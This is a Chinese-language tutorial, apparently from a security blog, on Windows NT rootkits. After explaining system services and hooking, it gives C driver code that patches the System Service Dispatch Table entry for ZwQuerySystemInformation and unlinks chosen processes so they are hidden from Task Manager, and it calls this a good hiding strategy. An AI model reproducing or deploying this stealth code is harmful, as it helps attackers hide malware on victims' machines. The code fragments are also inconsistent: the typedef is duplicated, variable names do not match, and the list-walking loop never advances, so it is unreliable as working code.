推荐:NT操作系统的Rootkit技术初探
目前偶对Windows下的Rootkit
技术在学习的过程中有些心得,在这里写出来和各位朋友进行分享。 Rootkit最早是起源于UNIX,出现在20世纪90年代初,在1994年2月的一篇
安全咨询报告中首先使用了Rootkit这个名称。这篇
安全咨询就是CERT-CC的CA-1994-01,题目是Ongoing Network Monitoring Attacks,最新的修订时间是1997年9月19日。从出现之后,Rootkit的发展非常迅速,应用越来越广泛,检测难度也越来越大,而且使用者由计算机高手向“平民化”发展。目前Windows平台下的Rootkit也日益流行,如RU,hxdef1.0,AFX2005等等,这些都是经典的Rootkit,通过它们,
黑客可以隐藏自己,隐藏文件,隐藏其他不受保护的
程序,修改
系统的各种配置,修改环境变量等等,以达到对主机长时间控制的目的。 一个典型的Rootkit包括以下几个部分组成: 隐藏
程序,用于隐藏Rootkit的
程序文件,进程信息,注册表信息,同时也可以为其他进程提供隐藏的帮助; 特洛伊
木马
程序,为
攻击者提供下次进入的后门; 一个远程的Shell,为
攻击者继续渗透和做其他工作进行支持; 由Rootkit的组成部分可以看出,Rootkit和普通的特洛伊
木马的区别主要就是在隐藏的方式和隐藏的功能上,下面主要对Rootkit的隐藏来进行一些分析。在开始深入到Rootkit的
技术细节之前,我们对WindowsNT的
系统内核进行一下简单的相关介绍:
系统服务 1. Windows
系统服务。Windows
系统服务是由操作
系统提供的一组函数,应用
程序接口使得开发者能够直接的或者间接的调用
系统服务,操作
系统以动态连接库的形式提供应用
程序接口,而我们平常编写
程序用的API一些是直接来自相应的
系统服务,另一些则依赖其他多个
系统服务调用,也就是说应用
程序接口和
系统服务之间不是一对一的调用,这种关系可以用下图表示: Kernel32.dll NTDLL.DLL + + 2. Windows NT下的
系统服务。在Windows NT下,NT的executive(NTOSKERL.EXE的一部分)提供了核心的
系统服务,这些服务非常的简单和原始,各种Win32,OS/2,和POSIX的应用
程序接口都是以DLL形式提供的,这些应用
程序接口反过来又调用NT executive提供的服务。尽管调用了相同的服务,但由于子
系统名称不同,API函数的名称也不定相同,比如用Win32 API打开一个文件,使用CreateFile()函数,但是在POSIX的API中使用open()函数,但是最终的结果都是调用了
系统服务的NtCreateFile()
系统服务。 3. NTOSKERL的
系统服务的用户接口是以包装函数的形式提供的。这些包装函数都在一个NTDLL.DLL的DLL里面,这些包装函数通过INT 2E指令来切换到内核模式并执行所需要的
系统服务。WIN32 API函数(主要在Kernel32.DLL和Advapi.DLL里面)使用这些包装函数来调用
系统服务。WIN32 API函数完成参数的有效性检查,将所有的参数都转换程UNICODE编码,然后调用NTDLL中对应所需的包装函数。NTOSKERL中的每一个
系统服务都有Service ID标示,NTDLL中的包装函数将所需要的
系统服务的Service ID送入EAX寄存器,将指向堆栈的指针送入EDX寄存器,然后发出INT 2E指令,这条指令将处理器切换至内核模式,并使处理器开始执行中断描述符表中为INT 2E指定的处理
程序,这个处理
程序由Windows NT的executive建。INT 2E处理
程序将参数从用户模式堆栈拷贝到内核模式堆栈,堆栈的基址为EDX寄存器的值,由NT executive提供的INT 2E处理
程序在内部被称为KiSystemService()。 4. Ring3和Ring0。在CPU的所有指令中,有一些指令是非常危险的,如果错用,将会导致整个
系统崩溃,如果所有的
程序都能使用这些指令,那么
系统将不知道什么原因就会当机,就会蓝屏,由于这个原因,CPU将指令分为特权指令和非特权指令,对于那些特权指令只允许操作
系统及其相关模块使用,普通的应用
程序只能使用那些不会造成灾害的指令。可以更形象的说特权指令就是那些儿童不宜的东西,非特权指令就是那些老少皆宜的东西。Intel的CPU指令特权级别分为四个级别:Ring0,Ring1,Ring2,Ring3。Windows只使用其中的Ring0和Ring3两个级别,其中Ring0是给操作
系统使用,Ring3可以任意应用
程序使用。Windows下的
系统服务都是工作在Ring0级别上的,NT服务提供的函数都是完全运行在内核模式下。 Hook的作用 钩子(Hooking)是一种拦截/监听可执行代码在执行过程中相关信息的一种通用机制,它可以监视指定窗口的某种消息,这个监视窗口可以是任意进程创建的,当消息到达后,在应用
程序处理之前,可以由钩子
程序首先进行分析处理,然后向下递交。因此钩子可以使我们了解
系统的内部结构,运作机制,甚至可以修改
系统的功能。 Hook
系统服务 通过对Windows
系统服务和Hook
技术的简单介绍,显然,在这里我们会想到,应用
程序所调用的API都是最终通过
系统服务来实现的,如果我们通过挂钩
技术来对
系统服务进行挂钩,那么是不是就能达到我们的隐藏目的呢?答案是完全可行的。 查询Windows 2000Native Api我们可以找到,在任务管理器中查询进程信息是通过ZwQuerySystemInformation来实现,那么我们挂钩这个函数就能修改各种返回的
系统信息,然后自己实现这个函数不就能达到隐藏特定的返回值的功能了吗? ZwQuerySystemInformation是在
系统服务中提供,挂钩
系统服务的最简单的办法就是定位操作
系统使用的
系统服务调度表(System Service Dispatch Table),以使之指向我们自己的某个函数,对调用返回的各种信息进行修改,然后回调。但是这个表在页表级是操作
系统保护的,这个表所在的页的页属性被设置成只有内核模式的
程序才能读写,用户级的应用
程序不能读写该页单元,因此对这个表进行修改和挂钩必须通过内核驱动来完成。 NTOSKERL的export list中有一个未公开的表项结构叫做KeServiceDescriptorTable()。这个表项是访问
系统服务调度表的关键,我们可以通过它来对
系统服务调度表进行访问与修改。此表项的结构如下: typedef struct ServiceDescriptorTable { PVOID ServiceTableBase; PVOID ServiceCounterTable(0); unsigned int NumberOfServices; PVOID ParamTableBase; } 其中 ServiceTableBase是
系统服务调度表的基地址; NumberOfServices是
系统服务调度表描述的服务的数目; ServiceCounterTable(0)是操作
系统的checked builds,包含了
系统服务调度表中每个服务被调度的次数的计数器,这个计数器由INT 2E处理
程序(KiSystemSerivce)更新; ParamTableBase包含每个
系统服务参数字节数表的基地址。 ServiceTableBase和ParaTableBase都有NumberOfService个表项,每个表项都是一个指向相应
系统的函数指针。 我们只要由KeServiceDescriptorTable找到了我们关注的
系统服务调用
程序,就可以修改它对应的ServiceTableBase参数来实现对相应的
系统服务调用的hook,在这里我们需要修改的相应的
系统服务是ZwQuerySystemInformation。 一个简单的隐藏进程的Rootkit代码分析 #pragma pack(1) typedef struct ServiceDescriptorEntry { unsigned int *ServiceTableBase; unsigned int *ServiceCounterTableBase; //Used only in checked build unsigned int NumberOfServices; unsigned char *ParamTableBase; } ServiceDescriptorTableEntry_t, *PServiceDescriptorTableEntry_t; #pragma pack() 定义未公开的KeserviceDescriptorTable。将keserviceDescriptorTable与相关数据结构联系起来,定义
系统调用: __declspec(dllimport) ServiceDescriptorTableEntry_t KeServiceDescriptorTable; #define SYSTEMSERVICE(_function) KeServiceDescriptorTable.ServiceTableBase[ *(PULONG)((PUCHAR)_function+1)] 定义未公开的函数ZwQuerySystemInformation: typedef NTSTATUS (*ZWQUERYSYSTEMINFORMATION)( IN ULONG SystemInformationClass, IN OUT PVOID SystemInformation, IN ULONG SystemInformaitonLength, OUT PULONG ReturnLength OPTIONAL); typedef NTSTATUS (*ZWQUERYSYSTEMINFORMATION)( ULONG SystemInformationCLass, PVOID SystemInformation, ULONG SystemInformationLength, PULONG ReturnLength ); 定义ZwQuerySystemInformation函数中的数据结构 struct _SYSTEM_THREADS { LARGE_INTEGER KernelTime; LARGE_INTEGER UserTime; LARGE_INTEGER CreateTime; ULONG WaitTime; PVOID StartAddress; CLIENT_ID ClientIs; KPRIORITY Priority; KPRIORITY BasePriority; ULONG ContextSwitchCount; ULONG ThreadState; KWAIT_REASON WaitReason; }; struct _SYSTEM_PROCESSES { ULONG NextEntryDelta; ULONG ThreadCount; ULONG Reserved[6]; LARGE_INTEGER CreateTime; LARGE_INTEGER UserTime; LARGE_INTEGER KernelTime; UNICODE_STRING ProcessName; KPRIORITY BasePriority; ULONG ProcessId; ULONG InheritedFromProcessId; ULONG HandleCount; ULONG Reserved2[2]; VM_COUNTERS VmCounters; IO_COUNTERS IoCounters; //Windows 2000 only struct _SYSTEM_THREADS Threads[1]; }; struct _SYSTEM_PROCESSOR_TIMES { LARGE_INTEGER IdleTime; LARGE_INTEGER KernelTime; LARGE_INTEGER UserTime; LARGE_INTEGER DpcTime; LARGE_INTEGER InterruptTime; ULONG InterruptCount; }; 修改
系统服务调用,保留原始的入口地址,将
系统服务对应的地址修改为我们
程序的入口地址: OldZwQuerySystemInformation =(ZWQUERYSYSTEMINFORMATION)( SYSTEMSERVICE (ZwQuerySystemInformation)); _asm cli (ZWQUERYSYSTEMINFORMATION) (SYSTEMSERVICE (ZwQuerySystemInformation))= NewZwQuerySystemInformation; _asm sti 解除钩子,还原
系统服务: _asm cli (ZWQUERYSYSTEMINFORMATION)(SYSTEMSERVICE(ZwQuerySystemInformation)) = OldZwQuerySystemInformation; _asm sti 调用原始的
系统服务,然后通过实现自己的ZwQuerySystemInformation函数来达到隐藏进程的目的。首先调用原始ZwQuerySystemInformation函数,得到当前的SystemInformation,然后对SystemInformation结构进行遍历,查找是否有需要隐藏的进程名称,当发现有需要隐藏的进程名称之后,修改SystemInformation中的进程队列,取下需要隐藏的进程单元,以达到在任务管理器中隐藏的目的。 rc = ((ZWQUERYSYSTEMINFORMATION)(OldZwQuerySystemInformation)) ( SystemInformationClass, SystemInformation, SystemInformationLength, ReturnLength ); struct _SYSTEM_PROCESSES *curr = (struct _SYSTEM_PROCESSES *)SystemInformation; struct _SYSTEM_PROCESSES * ProcPre = NULL; while(curr) { if(RtlCompareUnicodeString(&ProcessName,&CurProcessName,TRUE) == 0) 当前的进程名称CurProcessName和需要隐藏的进程名称ProcessName进行比较,如果是需要隐藏的进程,则将指向当前进程的指针后移,摘除当前挂在链表上的进程结构。 { if(ProcPre != NULL) { if(ProcCur->NextEntryDelta != 0) { ProcPre->NextEntryDelta += ProcCur->NextEntryDelta; } else { ProcPre->NextEntryDelta = 0; } } else { if(ProcCur->NextEntryDelta != 0) { SystemInformation = (PSYSTEM_PROCESSES)((PTSTR)ProcCur + ProcCur->NextEntryDelta); } else { SystemInformation = NULL; } } break; } } 最后将结果返回: return(rc); 在这篇文章里面我们很粗浅的分析了一下一个基本的Rootkit的进程隐藏功能,相信大家看完之后对神秘的Rootkit有所了解。当然这个Hook ZwQuerySystemInformation来隐藏进程的
技术已经能被很多的Rootkit检测工具查出来,但是,对于一般的进程查看工具而言,仍不失为一种比较好的隐藏策略。